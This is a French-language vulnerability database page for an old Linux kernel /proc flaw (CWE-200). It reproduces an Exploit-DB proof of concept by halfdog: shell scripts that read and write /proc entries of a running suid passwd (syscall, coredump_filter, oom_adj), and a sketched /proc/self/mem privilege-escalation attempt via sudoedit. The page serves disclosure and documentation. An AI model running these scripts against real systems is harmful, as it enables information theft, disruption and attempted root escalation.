Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
4.6 |
|
AV:L/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 41770
Date de publication : 2011-01-16 23h00 +00:00
Auteur : halfdog
EDB Vérifié : No
Source: http://www.halfdog.net/Security/2011/SuidBinariesAndProcInterface/
# proc Handling of Already Opened Files: Subvert The Stack Base Address Randomization With Suid-Binaries
Problem description: Latest ubuntu lucid stock kernel (2.6.32-27-generic) contains a bug that allows to keep attached to open /proc file entries as lower privileged user even after the process is executing suid binary. By doing that, a malicous user might draw information from the proc interface or even modify process settings of privileged process.
Monitor syscalls, syscall stack, limits of running suid-binaries: A simple helper program (ProcReadHelper.c) is sufficient to open a proc entry before executing a suid program and keep it open. (SyscallReadExample.sh):
#!/bin/bash
(./ProcReadHelper /proc/$$/syscall) &
sleep 1
exec /usr/bin/passwd
Output:
Read 69 bytes:
7 0xffffffff 0xbff646ac 0x0 0x0 0xf4d 0xbff646c8 0xbff64654 0x64b422
Changing password for test.
(current) UNIX password: Read 69 bytes:
3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422
Read 69 bytes:
3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422
The same can be done with /proc/[pid]/stack or /proc/[pid]/limits, where one can see how passwd increases its limits to unlimited after invocation.
Modify core dump flags of running suid-binaries: Since proc is also writeable, the same technique can be used to modify open proc files, e.g. adjust the coredump filter of a currently running passwd program (ModifyCoreDumpFilter.sh):
#!/bin/bash
echo "Current pid is $$"
(sleep 10; echo 127 ) > /proc/$$/coredump_filter &
sleep 5
exec /usr/bin/passwd
Some open proc files can only be written by the process itself, e.g. /proc/[pid]/mem, a limitation that could be circumvented if any suid-binary echos out command line/input file/environment data, e.g. sudoedit -p xxx /etc/sudoers echos xxx. If /procc/[pid]/mem would be writeable on standard linux kernels, this program should give local root privilege escalation (SeekHelper.c), e.g. ./SeekHelper /proc/self/mem 8048000 /usr/bin/sudoedit -p xxx /etc/sudoers with a crafted address and promt payload. Currently something else is still blocking in kernel, could be fs/proc/base.c:
static ssize_t mem_read(struct file * file, char __user * buf,
size_t count, loff_t *ppos) {
...
if (file->private_data != (void*)((long)current->self_exec_id))
goto out_put;
Inject faults using oom_adjust: Some programs, e.g. from the shadow suite, try to disable all signals and limits to assure that critical code is not interrupted, e.g. modification of /etc/shadow when a unprivileged user changes his password. Since this program creates a lock file, interruption via oom_kill could leave stale lockfiles and so impede functionality.
test@localhost:~/Tasks/LowMemoryProgramCrashing$ cat OomRun.sh
#!/bin/bash
(sleep 3; echo 15) > /proc/$$/oom_adj &
exec /usr/bin/passwd
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (excluding) 2.6.37
Références